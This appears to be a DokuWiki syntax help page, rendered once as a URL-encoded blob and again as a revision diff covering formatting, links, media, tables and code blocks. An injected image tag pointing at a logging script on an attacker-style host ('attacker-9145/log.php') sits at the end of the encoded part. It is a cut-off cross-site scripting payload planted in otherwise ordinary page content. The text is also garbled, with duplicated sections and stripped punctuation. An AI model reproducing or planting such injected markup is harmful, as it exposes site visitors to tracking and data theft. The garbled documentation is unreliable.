code%20blocks%20into%20your%20documents%20by%20either%20indenting%20them%20by%20at%20least%20two%20spaces%20(like%20used%20for%20the%20previous%20examples)%20or%20by%20using%20the%20tags%20''​%25%25%26lt;code%26gt;%25%25''​%20or%20''​%25%25%26lt;file%26gt;%25%25''​.%0d%0a%0d%0a%20%20This%20is%20text%20is%20indented%20by%20two%20spaces.%0d%0a%0d%0a%26lt;code%26gt;%0d%0aThis%20is%20preformatted%20code%20all%20spaces%20are%20preserved:%20like%20%20%20%20%20%20%20%20%20%20%20%20%20%20%26lt;-this%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;file%26gt;%0d%0aThis%20is%20pretty%20much%20the%20same%2c%20but%20you%20could%20use%20it%20to%20show%20that%20you%20quoted%20a%20file.%0d%0a%26lt;/file%26gt;%0d%0a%0d%0aThose%20blocks%20were%20created%20by%20this%20source:%0d%0a%0d%0a%20%20%20%20This%20is%20text%20is%20indented%20by%20two%20spaces.%0d%0a%0d%0a%20%20%26lt;code%26gt;%0d%0a%20%20This%20is%20preformatted%20code%20all%20spaces%20are%20preserved:%20like%20%20%20%20%20%20%20%20%20%20%20%20%20%20%26lt;-this%0d%0a%20%20%26lt;/code%26gt;%0d%0a%0d%0a%20%20%26lt;file%26gt;%0d%0a%20%20This%20is%20pretty%20much%20the%20same%2c%20but%20you%20could%20use%20it%20to%20show%20that%20you%20quoted%20a%20file.%0d%0a%20%20%26lt;/file%26gt;%0d%0a%0d%0a=====%20Basic%20Text%20Formatting%20=====%0d%0a%0d%0aDokuWiki%20supports%20**bold**%2c%20//italic//%2c%20__underlined__%20and%20''​monospaced''​%20texts.%20Of%20course%20you%20can%20**__//''​combine''//​__**%20all%20these.%0d%0a%0d%0a%20%20DokuWiki%20supports%20**bold**%2c%20//italic//%2c%20__underlined__%20and%20''​monospaced''​%20texts.%0d%0a%20%20Of%20course%20you%20can%20**__//''​combine''//​__**%20all%20these.%0d%0a%0d%0aYou%20can%20use%20%26amp;lt;sub%26amp;​gt;​subscript%26amp;lt;/sub%26amp;gt;%20and%20%26amp;lt;sup%26amp;​gt;​superscript%26amp;lt;/sup%26amp;gt;%2c%20too.%0d%0a%0d%0a%20%20You%20can%20use%20%26amp;lt;sub%26amp;​gt;​subscript%26amp;lt;/sub%26amp;gt;%20and%20%26amp;lt;sup%26amp;​gt;​superscript%26amp;lt;/sup%26amp;gt;%2c%20too.%0d%0a%0d%0aYou%20can%20mark%20something%20as%20%26amp;lt;del%26amp;gt;deleted%26amp;lt;/del%26amp;gt;%20as%20well.%0d%0a%0d%0a%20%20You%20can%20mark%20something%20as%20%26amp;lt;del%26amp;gt;deleted%26amp;lt;/del%26amp;gt;%20as%20well.%0d%0a%0d%0a**Paragraphs**%20are%20created%20from%20blank%20lines.%20If%20you%20want%20to%20**force%20a%20newline**%20without%20a%20paragraph%2c%20you%20can%20use%20two%20backslashes%20followed%20by%20a%20whitespace%20or%20the%20end%20of%20line.%0d%0a%0d%0aThis%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0atwo%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0aor%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0a%20%20This%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0a%20%20two%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0a%20%20or%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0aYou%20should%20use%20forced%20newlines%20only%20if%20really%20needed.%0d%0a====%20Downloadable%20Code%20Blocks%20====%0d%0a%0d%0aWhen%20you%20use%20the%20''​%25%25%26lt;code%26gt;%25%25''​%20or%20''​%25%25%26lt;file%26gt;%25%25''​%20syntax%20as%20above%2c%20you%20might%20want%20to%20make%20the%20shown%20code%20available%20for%20download%20as%20well.%20You%20can%20do%20this%20by%20specifying%20a%20file%20name%20after%20language%20code%20like%20this:%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%26lt;file%20php%20myexample.php%26gt;%0d%0a%26lt;%3fphp%20echo%20%26quot;hello%20world!%26quot;;%20%3f%26gt;%0d%0a%26lt;/file%26gt;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;file%20php%20myexample.php%26gt;%0d%0a%26lt;%3fphp%20echo%20%26quot;hello%20world!%26quot;;%20%3f%26gt;%0d%0a%26lt;/file%26gt;%0d%0a%0d%0aIf%20you%20don't%20want%20any%20highlighting%20but%20want%20a%20downloadable%20file%2c%20specify%20a%20dash%20(''​-''​)%20as%20the%20language%20code:%20''​%25%25%26lt;code%20-%20myfile.foo%26gt;%25%25''​.%0d%0a%0d%0a%0d%0a=====%20Embedding%20HTML%20and%20PHP%20=====%0d%0a%0d%0aYou%20can%20embed%20raw%20HTML%20or%20PHP%20code%20into%20your%20documents%20by%20using%20the%20''​%25%25%26lt;html%26gt;%25%25''​%20or%20''​%25%25%26lt;php%26gt;%25%25''​%20tags.%20(Use%20uppercase%20tags%20if%20you%20need%20to%20enclose%20block%20level%20elements.)%0d%0a%0d%0aHTML%20example:%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%26lt;html%26gt;%0d%0aThis%20is%20some%20%26lt;span%20style=%26quot;​color:​red;​font-size:​150%25;%26quot;%26gt;inline%20HTML%26lt;/span%26gt;%0d%0a%26lt;/html%26gt;%0d%0a%26lt;HTML%26gt;%0d%0a%26lt;p%20style=%26quot;border:2px%20dashed%20red;%26quot;%26gt;And%20this%20is%20some%20block%20HTML%26lt;/p%26gt;%0d%0a%26lt;/HTML%26gt;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;html%26gt;%0d%0aThis%20is%20some%20%26lt;span%20style=%26quot;​color:​red;​font-size:​150%25;%26quot;%26gt;inline%20HTML%26lt;/span%26gt;%0d%0a%26lt;/html%26gt;%0d%0a%26lt;HTML%26gt;%0d%0a%26lt;p%20style=%26quot;border:2px%20dashed%20red;%26quot;%26gt;And%20this%20is%20some%20block%20HTML%26lt;/p%26gt;%0d%0a%26lt;/HTML%26gt;%0d%0a%0d%0aPHP%20example:%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%26lt;php%26gt;%0d%0aecho%20'The%20PHP%20version:%20';%0d%0aecho%20phpversion();%0d%0aecho%20'%20(generated%20inline%20HTML)';%0d%0a%26lt;/php%26gt;%0d%0a%26lt;PHP%26gt;%0d%0aecho%20'%26lt;table%20class=%26quot;inline%26quot;%26gt;%26lt;tr%26gt;%26lt;td%26gt;The%20same%2c%20but%20inside%20a%20block%20level%20element:%26lt;/td%26gt;';%0d%0aecho%20'%26lt;td%26gt;'​.phpversion().'​%26lt;/td%26gt;';%0d%0aecho%20'%26lt;/tr%26gt;%26lt;/table%26gt;';%0d%0a%26lt;/PHP%26gt;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;php%26gt;%0d%0aecho%20'The%20PHP%20version:%20';%0d%0aecho%20phpversion();%0d%0aecho%20'%20(inline%20HTML)';%0d%0a%26lt;/php%26gt;%0d%0a%26lt;PHP%26gt;%0d%0aecho%20'%26lt;table%20class=%26quot;inline%26quot;%26gt;%26lt;tr%26gt;%26lt;td%26gt;The%20same%2c%20but%20inside%20a%20block%20level%20element:%26lt;/td%26gt;';%0d%0aecho%20'%26lt;td%26gt;'​.phpversion().'​%26lt;/td%26gt;';%0d%0aecho%20'%26lt;/tr%26gt;%26lt;/table%26gt;';%0d%0a%26lt;/PHP%26gt;%0d%0a%0d%0a**Please%20Note**:%20HTML%20and%20PHP%20embedding%20is%20disabled%20by%20default%20in%20the%20configuration.%20If%20disabled%2c%20the%20code%20is%20displayed%20instead%20of%20executed.%0d%0a%0d%0a=====%20RSS/ATOM%20Feed%20Aggregation%20=====%0d%0a[[DokuWiki]]%20can%20integrate%20data%20from%20external%20XML%20feeds.%20For%20parsing%20the%20XML%20feeds%2c%20[[http://​simplepie.org/​%7cSimplePie]]%20is%20used.%20All%20formats%20understood%20by%20SimplePie%20can%20be%20used%20in%20DokuWiki%20as%20well.%20You%20can%20influence%20the%20rendering%20by%20multiple%20additional%20space%20separated%20parameters:%0d%0a%0d%0a%5e%20Parameter%20%20%5e%20Description%20%5e%0d%0a%7c%20any%20number%20%7c%20will%20be%20used%20as%20maximum%20number%20items%20to%20show%2c%20defaults%20to%208%20%7c%0d%0a%7c%20reverse%20%20%20%20%7c%20display%20the%20last%20items%20in%20the%20feed%20first%20%7c%0d%0a%7c%20author%20%20%20%20%20%7c%20show%20item%20authors%20names%20%7c%0d%0a%7c%20date%20%20%20%20%20%20%20%7c%20show%20item%20dates%20%7c%0d%0a%7c%20description%7c%20show%20the%20item%20description.%20If%20[[doku%26gt;​config:​htmlok%7cHTML]]%20is%20disabled%20all%20tags%20will%20be%20stripped%20%7c%0d%0a%7c%20nosort%20%20%20%20%20%7c%20do%20not%20sort%20the%20items%20in%20the%20feed%20%7c%0d%0a%7c%20//n//[dhm]%20%7c%20refresh%20period%2c%20where%20d=days%2c%20h=hours%2c%20m=minutes.%20(e.g.%2012h%20=%2012%20hours).%20%7c%0d%0a%0d%0aThe%20refresh%20period%20defaults%20to%204%20hours.%20Any%20value%20below%2010%20minutes%20will%20be%20treated%20as%2010%20minutes.%20[[wiki:​DokuWiki]]%20will%20generally%20try%20to%20supply%20a%20cached%20version%20of%20a%20page%2c%20obviously%20this%20is%20inappropriate%20when%20the%20page%20contains%20dynamic%20external%20content.%20The%20parameter%20tells%20[[wiki:​DokuWiki]]%20to%20re-render%20the%20page%20if%20it%20is%20more%20than%20//refresh%20period//%20since%20the%20page%20was%20last%20rendered.%0d%0a%0d%0aBy%20default%20the%20feed%20will%20be%20sorted%20by%20date%2c%20newest%20items%20first.%20You%20can%20sort%20it%20by%20oldest%20first%20using%20the%20''​reverse''​%20parameter%2c%20or%20display%20the%20feed%20as%20is%20with%20''​nosort''​.%0d%0a%0d%0a**Example:​**%0d%0a%0d%0a%20%20{{rss%26gt;​http://​slashdot.org/​index.rss%205%20author%20date%201h%20}}%0d%0a%0d%0a{{rss%26gt;​http://​slashdot.org/​index.rss%205%20author%20date%201h%20}}%0d%0a%0d%0a%0d%0a=====%20Control%20Macros%20=====%0d%0a%0d%0aSome%20syntax%20influences%20how%20DokuWiki%20renders%20a%20page%20without%20creating%20any%20output%20it%20self.%20The%20following%20control%20macros%20are%20availble:%0d%0a%0d%0a%5e%20Macro%20%20%20%20%20%20%20%20%20%20%20%5e%20Description%20%7c%0d%0a%7c%20%25%25%7e%7eNOTOC%7e%7e%25%25%20%20%20%7c%20If%20this%20macro%20is%20found%20on%20the%20page%2c%20no%20table%20of%20contents%20will%20be%20created%20%7c%0d%0a%7c%20%25%25%7e%7eNOCACHE%7e%7e%25%25%20%7c%20DokuWiki%20caches%20all%20output%20by%20default.%20Sometimes%20this%20might%20not%20be%20wanted%20(eg.%20when%20the%20%25%25%26lt;php%26gt;%25%25%20syntax%20above%20is%20used)%2c%20adding%20this%20macro%20will%20force%20DokuWiki%20to%20rerender%20a%20page%20on%20every%20call%20%7c%0d%0a%0d%0a=====%20Syntax%20Plugins%20=====%0d%0a%0d%0aDokuWiki's%20syntax%20can%20be%20extended%20by%20[[doku%26gt;plugins%7cPlugins]].%20How%20the%20installed%20plugins%20are%20used%20is%20described%20on%20their%20appropriate%20description%20pages.%20The%20following%20syntax%20plugins%20are%20available%20in%20this%20particular%20DokuWiki%20installation:%0d%0a%0d%0a%7e%7eINFO:​syntaxplugins%7e%7e1<​img sRc='​http:​//​attacker-9145/​log.php?​
- +
-[[doku&gt;​DokuWiki]] ​supports some simple markup language, which tries to make the datafiles to be as readable as possibleThis page contains all possible syntax you may use when editing the pagesSimply have a look at the source of this page by pressing &quot;Edit this page&​quot;. If you want to try something, just use the [[playground:​playground|playground]] pageThe simpler markup is easily accessible via [[doku&gt;toolbar|quickbuttons]], too. +
- +
-===== Basic Text Formatting ​===== +
- +
-DokuWiki supports ​**bold**//italic//, __underlined__ and ''​monospaced'' ​textsOf course you can **__//''​combine''//​__** ​all these. +
- +
-  DokuWiki supports ​**bold**//italic//, __underlined__ and ''​monospaced'' ​texts. +
-  Of course you can **__//''​combine''//​__** ​all these. +
- +
-You can use &lt;sub&gt;subscript&lt;/sub&gtand &lt;sup&gt;​superscript&lt;/sup&gt;, too. +
- +
-  You can use &lt;sub&gt;subscript&lt;/sub&gtand &lt;sup&gt;​superscript&lt;/sup&gt;, too. +
- +
-You can mark something as &lt;del&gt;deleted&lt;/del&gtas well. +
- +
-  You can mark something as &lt;del&gt;deleted&lt;/del&gtas well. +
- +
-**Paragraphs** ​are created from blank linesIf you want to **force ​a newline** without a paragraph, you can use two backslashes followed by a whitespace or the end of line. +
- +
-This is some text with some linebreaks\\ Note that the +
-two backslashes are only recognized at the end of a line\\ +
-or followed by\\ a whitespace \\this happens without it. +
- +
-  This is some text with some linebreaks\\ Note that the +
-  two backslashes are only recognized at the end of a line\\ +
-  or followed by\\ a whitespace \\this happens without it. +
- +
-You should use forced newlines only if really needed. +
- +
-===== Links ===== +
- +
-DokuWiki supports multiple ways of creating links. +
- +
-==== External ​==== +
- +
-External links are recognized automagicallyhttp://​www.google.com ​or simply www.google.com - You can set the link text as well: [[http://​www.google.com|This Link points to google]]. Email addresses like this one&lt;andi@splitbrain.org&gtare recognized, too. +
- +
-  DokuWiki supports multiple ways of creating linksExternal links are recognized +
-  automagicallyhttp://​www.google.com ​or simply www.google.com - You can set +
-  link text as well: [[http://​www.google.com|This Link points to google]]. Email +
-  addresses like this one&lt;andi@splitbrain.org&gtare recognized, too. +
- +
-==== Internal ​==== +
- +
-Internal links are created by using square bracketsYou can either just give a [[pagename]] ​or use an additional ​[[pagename|link text]]. +
- +
-  Internal links are created by using square bracketsYou can either just give +
-  a [[pagename]] ​or use an additional ​[[pagename|link text]]. +
- +
-[[doku&gt;pagename|Wiki pagenames]] are converted to lowercase automatically,​ special characters are not allowed. +
- +
-You can use [[some:​namespaces]] ​by using a colon in the pagename. +
- +
-  You can use [[some:​namespaces]] ​by using a colon in the pagename. +
- +
-For details about namespaces see [[doku&gt;​namespaces]]. +
- +
-Linking to a specific section is possible, tooJust add the section name behind a hash character as known from HTMLThis links to [[syntax#​internal|this Section]]. +
- +
-  This links to [[syntax#​internal|this Section]]. +
- +
-Notes: +
- +
-  ​Links to [[syntax|existing pages]] are shown in a different style from [[nonexisting]] ​ones. +
-  ​DokuWiki does not use [[wp&gt;​CamelCase]] ​to automatically create links by default, but this behavior can be enabled in the [[doku&gt;​config]] ​fileHintIf DokuWiki is a link, then it'​s ​enabled. +
-  ​When a section'​s ​heading is changed, its bookmark changes, tooSo don'​t ​rely on section linking too much. +
- +
-==== Interwiki ​==== +
- +
-DokuWiki supports ​[[doku&gt;​Interwiki]] ​linksThese are quick links to other WikisFor example this is a link to Wikipedia'​s ​page about Wikis: [[wp&gt;Wiki]]. +
- +
-  DokuWiki supports ​[[doku&gt;​Interwiki]] ​linksThese are quick links to other Wikis. +
-  For example this is a link to Wikipedia'​s ​page about Wikis: [[wp&gt;Wiki]]. +
- +
-==== Windows Shares ​==== +
- +
-Windows shares like [[\\server\share|this]] are recognized, tooPlease note that these only make sense in a homogeneous user group like a corporate ​[[wp&gt;​Intranet]]. +
- +
-  Windows Shares like [[\\server\share|this]] are recognized, too. +
- +
-Notes: +
- +
-  ​For security reasons direct browsing of windows shares only works in Microsoft Internet Explorer per default ​(and only in the &quot;​local ​zone&​quot;). +
-  ​For Mozilla and Firefox it can be enabled through different workaround mentioned in the [[http://​kb.mozillazine.org/​Links_to_local_pages_do_not_work|Mozilla Knowledge Base]]. However, there will still be a JavaScript warning about trying to open a Windows ShareTo remove this warning ​(for all users), put the following line in ''​conf/​lang/​en/​lang.php''​ (more details at [[doku&gt;​localization#​changing_some_localized_texts_and_strings_in_your_installation|localization]]): &lt;code - conf/​lang/​en/​lang.php&gt; +
-&lt;?php +
-/** +
- Customization of the english language file +
- Copy only the strings that needs to be modified +
- */ +
-$lang['​js'​]['​nosmblinks'​] = '';​ +
-&lt;/code&gt; +
- +
-==== Image Links ==== +
- +
-You can also use an image to link to another internal or external page by combining the syntax for links and [[#​images_and_other_files|images]] (see belowlike this: +
- +
-  ​[[http://​php.net|{{wiki:​dokuwiki-128.png}}]] +
- +
-[[http://​php.net|{{wiki:​dokuwiki-128.png}}]] +
- +
-Please noteThe image formatting is the only formatting syntax accepted in link names. +
- +
-The whole [[#​images_and_other_files|image]] and [[#links|link]] syntax is supported ​(including ​image resizing, internal and external images and URLs and interwiki links). +
- +
-===== Footnotes ​===== +
- +
-You can add footnotes ​((This ​is a footnote)) by using double parentheses. +
- +
-  You can add footnotes ​((This ​is a footnote)) by using double parentheses. +
- +
-===== Sectioning ​===== +
- +
-You can use up to five different levels of headlines to structure your contentIf you have more than three headlines, a table of contents is generated automatically ​-- this can be disabled by including the string ​''​&lt;nowiki&gt;~~NOTOC~~&​lt;/nowiki&gt;'' ​in the document. +
- +
-==== Headline Level 3 ==== +
-=== Headline Level 4 === +
-== Headline Level 5 == +
- +
-  ​==== Headline Level 3 ==== +
-  ​=== Headline Level 4 === +
-  ​== Headline Level 5 == +
- +
-By using four or more dashes, you can make a horizontal line: +
- +
----- +
- +
-===== Media Files ===== +
- +
-You can include external and internal ​[[doku&gt;images|images, videos and audio files]] with curly bracketsOptionally you can specify the size of them. +
- +
-Real size                       {{wiki:​dokuwiki-128.png}} +
- +
-Resize to given width           {{wiki:​dokuwiki-128.png?50}} +
- +
-Resize to given width and height((when ​the aspect ratio of the given width and height doesn'​t ​match that of the image, it will be cropped to the new ratio before resizing)): {{wiki:​dokuwiki-128.png?200x50}} +
- +
-Resized external image          ​{{http://​php.net/​images/​php.gif?200x50}} +
- +
-  Real size                       {{wiki:​dokuwiki-128.png}} +
-  Resize to given width           {{wiki:​dokuwiki-128.png?50}} +
-  Resize to given width and height: {{wiki:​dokuwiki-128.png?200x50}} +
-  Resized external image          ​{{http://​php.net/​images/​php.gif?200x50}} +
- +
- +
-By using left or right whitespaces you can choose the alignment. +
- +
-{{ wiki:​dokuwiki-128.png}} +
- +
-{{wiki:​dokuwiki-128.png }} +
- +
-{{ wiki:​dokuwiki-128.png }} +
- +
-  ​{{ wiki:​dokuwiki-128.png}} +
-  ​{{wiki:​dokuwiki-128.png }} +
-  ​{{ wiki:​dokuwiki-128.png }} +
- +
-Of course, you can add a title (displayed ​as a tooltip by most browsers), too. +
- +
-{{ wiki:​dokuwiki-128.png ​|This is the caption}} +
- +
-  ​{{ wiki:​dokuwiki-128.png ​|This is the caption}} +
- +
-For linking an image to another page see [[#Image Links]] above. +
- +
-==== Supported Media Formats ​==== +
- +
-DokuWiki can embed the following media formats directly. +
- +
-| Image | ''​gif''​''​jpg''​''​png'' ​ | +
-| Video | ''​webm''​''​ogv''​''​mp4'' ​+
-| Audio | ''​ogg''​''​mp3''​''​wav'' ​ | +
-| Flash | ''​swf'' ​                   | +
- +
-If you specify a filename that is not a supported media format, then it will be displayed as a link instead. +
- +
-By adding ​''​?linkonly'' ​you provide a link to the media without displaying it inline +
- +
-  ​{{wiki:​dokuwiki-128.png?linkonly}} +
- +
-{{wiki:​dokuwiki-128.png?linkonly}} This is just a link to the image. +
- +
-==== Fallback Formats ​==== +
- +
-Unfortunately not all browsers understand all video and audio formatsTo mitigate the problem, you can upload your file in different formats for maximum browser compatibility. +
- +
-For example consider this embedded mp4 video: +
- +
-  ​{{video.mp4|A funny video}} +
- +
-When you upload a ''​video.webm'' ​and ''​video.ogv'' ​next to the referenced ​''​video.mp4''​, DokuWiki will automatically add them as alternatives so that one of the three files is understood by your browser. +
- +
-Additionally DokuWiki supports a &quot;poster&quotimage which will be shown before the video has startedThat image needs to have the same filename as the video and be either a jpg or png fileIn the example above a ''​video.jpg'' ​file would work. +
- +
-===== Lists ===== +
- +
-Dokuwiki supports ordered and unordered listsTo create a list item, indent your text by two spaces and use a ''​*'' ​for unordered lists or a ''​-'' ​for ordered ones. +
- +
-  ​This is a list +
-  ​The second item +
-    ​You may have different levels +
-  ​Another item +
- +
-  ​The same list but ordered +
-  ​Another item +
-    ​Just use indention for deeper levels +
-  ​That'​s ​it +
- +
-&lt;code&gt; +
-  ​This is a list +
-  ​The second item +
-    ​You may have different levels +
-  ​Another item +
- +
-  ​The same list but ordered +
-  ​Another item +
-    ​Just use indention for deeper levels +
-  ​That'​s ​it +
-&lt;/code&gt; +
- +
-Also take a look at the [[doku&gt;faq:lists|FAQ on list items]]. +
- +
-===== Text Conversions ​===== +
- +
-DokuWiki can convert certain pre-defined ​characters or strings into images or other text or HTML. +
- +
-The text to image conversion is mainly done for smileysAnd the text to HTML conversion is used for typography replacements,​ but can be configured to use other HTML as well. +
- +
-==== Text to Image Conversions ​==== +
- +
-DokuWiki converts commonly used [[wp&gt;​emoticon]]s ​to their graphical equivalentsThose [[doku&gt;​Smileys]] ​and other images can be configured and extendedHere is an overview of Smileys included in DokuWiki: +
- +
-  ​8-) %%  8-)  %% +
-  ​8-O %%  8-O  %% +
-  ​* :-( %%  :-(  %% +
-  ​* :-) %%  :-)  %% +
-  ​* =)  %%  =)   ​%% +
-  ​* :-/ %%  :-/  %% +
-  ​* :-%%  :-\  ​%% +
-  ​* :-%%  :-?  ​%% +
-  ​* :-D %%  :-D  %% +
-  ​* :-P %%  :-P  %% +
-  ​* :-O %%  :-O  %% +
-  ​* :-X %%  :-X  %% +
-  ​* :-%%  :-|  ​%% +
-  ​* ;-) %%  ;-)  %% +
-  ​^_^ %%  ​^_^  ​%% +
-  ​* :?: %%  :? %% +
-  ​* :!: %%  :!:  %% +
-  ​LOL %%  ​LOL  ​%% +
-  ​FIXME %%  ​FIXME ​%% +
-  ​DELETEME ​%% DELETEME ​%% +
- +
-==== Text to HTML Conversions ​==== +
- +
-Typography: [[DokuWiki]] ​can convert simple text characters to their typographically correct entitiesHere is an example of recognized characters. +
- +
--&gt&lt;- &lt;-&gt; =&gt&lt;= &lt;=&gt&gt;&gt&lt;&lt; -- --- 640x480 ​(c) (tm) (r) +
-&quot;He thought ​'​It'​s ​a man'​s ​world'...&quot; +
- +
-&lt;code&gt; +
--&gt&lt;- &lt;-&gt; =&gt&lt;= &lt;=&gt&gt;&gt&lt;&lt; -- --- 640x480 ​(c) (tm) (r) +
-&quot;He thought ​'​It'​s ​a man'​s ​world'...&quot; +
-&lt;/code&gt; +
- +
-The same can be done to produce any kind of HTML, it just needs to be added to the [[doku&gt;entities|pattern file]]. +
- +
-There are three exceptions which do not come from that pattern filemultiplication entity ​(640x480)'​single' ​and &quot;​double ​quotes&​quot;. They can be turned off through a [[doku&gt;​config:​typography|config option]]. +
- +
-===== Quoting ​===== +
- +
-Some times you want to mark some text to show it'​s ​a reply or commentYou can use the following syntax: +
- +
-&lt;code&gt; +
-I think we should do it +
- +
-&gtNo we shouldn't +
- +
-&gt;&gtWell, I say we should +
- +
-&gtReally? +
- +
-&gt;&gtYes! +
- +
-&gt;&gt;&gtThen lets do it! +
-&lt;/code&gt; +
- +
-I think we should do it +
- +
-&gtNo we shouldn't +
- +
-&gt;&gtWell, I say we should +
- +
-&gtReally? +
- +
-&gt;&gtYes! +
- +
-&gt;&gt;&gtThen lets do it! +
- +
-===== Tables ​===== +
- +
-DokuWiki supports a simple syntax to create tables. +
- +
-^ Heading 1      ^ Heading 2       ^ Heading 3          ^ +
-| Row 1 Col 1    | Row 1 Col 2     | Row 1 Col 3        | +
-| Row 2 Col 1    | some colspan ​(note the double pipe|| +
-| Row 3 Col 1    | Row 3 Col 2     | Row 3 Col 3        | +
- +
-Table rows have to start and end with a ''​|'' ​for normal rows or a ''​^'' ​for headers. +
- +
-  ^ Heading 1      ^ Heading 2       ^ Heading 3          ^ +
-  | Row 1 Col 1    | Row 1 Col 2     | Row 1 Col 3        | +
-  | Row 2 Col 1    | some colspan ​(note the double pipe|| +
-  | Row 3 Col 1    | Row 3 Col 2     | Row 3 Col 3        | +
- +
-To connect cells horizontally,​ just make the next cell completely empty as shown aboveBe sure to have always the same amount of cell separators! +
- +
-Vertical tableheaders are possible, too. +
- +
-|              ^ Heading 1            ^ Heading 2          ^ +
-^ Heading 3    | Row 1 Col 2          | Row 1 Col 3        | +
-^ Heading 4    | no colspan this time |                    | +
-^ Heading 5    | Row 2 Col 2          | Row 2 Col 3        | +
- +
-As you can see, it'​s ​the cell separator before a cell which decides about the formatting: +
- +
-  |              ^ Heading 1            ^ Heading 2          ^ +
-  ^ Heading 3    | Row 1 Col 2          | Row 1 Col 3        | +
-  ^ Heading 4    | no colspan this time |                    | +
-  ^ Heading 5    | Row 2 Col 2          | Row 2 Col 3        | +
- +
-You can have rowspans ​(vertically ​connected cellsby adding ​''​%%:::​%%'' ​into the cells below the one to which they should connect. +
- +
-^ Heading 1      ^ Heading 2                  ^ Heading 3          ^ +
-| Row 1 Col 1    | this cell spans vertically | Row 1 Col 3        | +
-| Row 2 Col 1    | :::                        | Row 2 Col 3        | +
-| Row 3 Col 1    | :::                        | Row 2 Col 3        | +
- +
-Apart from the rowspan syntax those cells should not contain anything else. +
- +
-  ^ Heading 1      ^ Heading 2                  ^ Heading 3          ^ +
-  | Row 1 Col 1    | this cell spans vertically | Row 1 Col 3        | +
-  | Row 2 Col 1    | :::                        | Row 2 Col 3        | +
-  | Row 3 Col 1    | :::                        | Row 2 Col 3        | +
- +
-You can align the table contents, tooJust add at least two whitespaces at the opposite end of your textAdd two spaces on the left to align right, two spaces on the right to align left and two spaces at least at both ends for centered text. +
- +
-^           Table with alignment ​          ^^^ +
-|         ​right| ​   center ​   |left          | +
-|left          |         ​right| ​   center ​   | +
-| xxxxxxxxxxxx | xxxxxxxxxxxx | xxxxxxxxxxxx | +
- +
-This is how it looks in the source: +
- +
-  ^           Table with alignment ​          ^^^ +
-  |         ​right| ​   center ​   |left          | +
-  |left          |         ​right| ​   center ​   | +
-  | xxxxxxxxxxxx | xxxxxxxxxxxx | xxxxxxxxxxxx | +
- +
-NoteVertical alignment is not supported. +
- +
-===== No Formatting ​===== +
- +
-If you need to display text exactly like it is typed (without ​any formatting), enclose the area either with ''​%%&lt;nowiki&gt;​%%'' ​tags or even simpler, with double percent signs ''​&lt;nowiki&gt;%%&lt;/nowiki&gt;''​. +
- +
-&lt;nowiki&gt; +
-This is some text which contains addresses like thishttp://​www.splitbrain.org ​and **formatting**, but nothing is done with it. +
-&lt;/nowiki&gt; +
-The same is true for %%//​__this__ ​text// with a smiley ​;-)%%. +
- +
-  &lt;nowiki&gt; +
-  This is some text which contains addresses like thishttp://​www.splitbrain.org ​and **formatting**, but nothing is done with it. +
-  &lt;/nowiki&gt; +
-  The same is true for %%//​__this__ ​text// with a smiley ​;-)%%. +
- +
-===== Code Blocks ​===== +
- +
-You can include code blocks into your documents by either indenting them by at least two spaces ​(like used for the previous examplesor by using the tags ''​%%&lt;code&gt;​%%'' ​or ''​%%&lt;file&gt;​%%''​. +
- +
-  This is text is indented by two spaces. +
- +
-&lt;code&gt; +
-This is preformatted code all spaces are preservedlike              &lt;-this +
-&lt;/code&gt; +
- +
-&lt;file&gt; +
-This is pretty much the same, but you could use it to show that you quoted a file. +
-&lt;/file&gt; +
- +
-Those blocks were created by this source: +
- +
-    This is text is indented by two spaces. +
- +
-  &lt;code&gt; +
-  This is preformatted code all spaces are preservedlike              &lt;-this +
-  &lt;/code&gt; +
- +
-  &lt;file&gt; +
-  This is pretty much the same, but you could use it to show that you quoted a file. +
-  &lt;/file&gt; +
- +
-===== Basic Text Formatting ​===== +
- +
-DokuWiki supports ​**bold**//italic//, __underlined__ and ''​monospaced'' ​textsOf course you can **__//''​combine''//​__** ​all these. +
- +
-  DokuWiki supports ​**bold**//italic//, __underlined__ and ''​monospaced'' ​texts. +
-  Of course you can **__//''​combine''//​__** ​all these. +
- +
-You can use &amp;lt;sub&amp;​gt;​subscript&amp;lt;/sub&amp;gt; and &amp;lt;sup&amp;​gt;​superscript&amp;lt;/sup&amp;gt;, too. +
- +
-  You can use &amp;lt;sub&amp;​gt;​subscript&amp;lt;/sub&amp;gt; and &amp;lt;sup&amp;​gt;​superscript&amp;lt;/sup&amp;gt;, too. +
- +
-You can mark something as &amp;lt;del&amp;gt;deleted&amp;lt;/del&amp;gt; as well. +
- +
-  You can mark something as &amp;lt;del&amp;gt;deleted&amp;lt;/del&amp;gt; as well. +
- +
-**Paragraphs** ​are created from blank linesIf you want to **force ​a newline** without a paragraph, you can use two backslashes followed by a whitespace or the end of line. +
- +
-This is some text with some linebreaks\\ Note that the +
-two backslashes are only recognized at the end of a line\\ +
-or followed by\\ a whitespace \\this happens without it. +
- +
-  This is some text with some linebreaks\\ Note that the +
-  two backslashes are only recognized at the end of a line\\ +
-  or followed by\\ a whitespace \\this happens without it. +
- +
-You should use forced newlines only if really needed. +
-==== Downloadable Code Blocks ​==== +
- +
-When you use the ''​%%&lt;code&gt;​%%'' ​or ''​%%&lt;file&gt;​%%'' ​syntax as above, you might want to make the shown code available for download as wellYou can do this by specifying a file name after language code like this: +
- +
-&lt;code&gt; +
-&lt;file php myexample.php&gt; +
-&lt;?php echo &quot;​hello ​world!&quot;; ?&gt; +
-&lt;/file&gt; +
-&lt;/code&gt; +
- +
-&lt;file php myexample.php&gt; +
-&lt;?php echo &quot;​hello ​world!&quot;; ?&gt; +
-&lt;/file&gt; +
- +
-If you don'​t ​want any highlighting but want a downloadable file, specify a dash (''​-''​) ​as the language code: ''​%%&lt;code - myfile.foo&gt;​%%''​. +
- +
- +
-===== Embedding HTML and PHP ===== +
- +
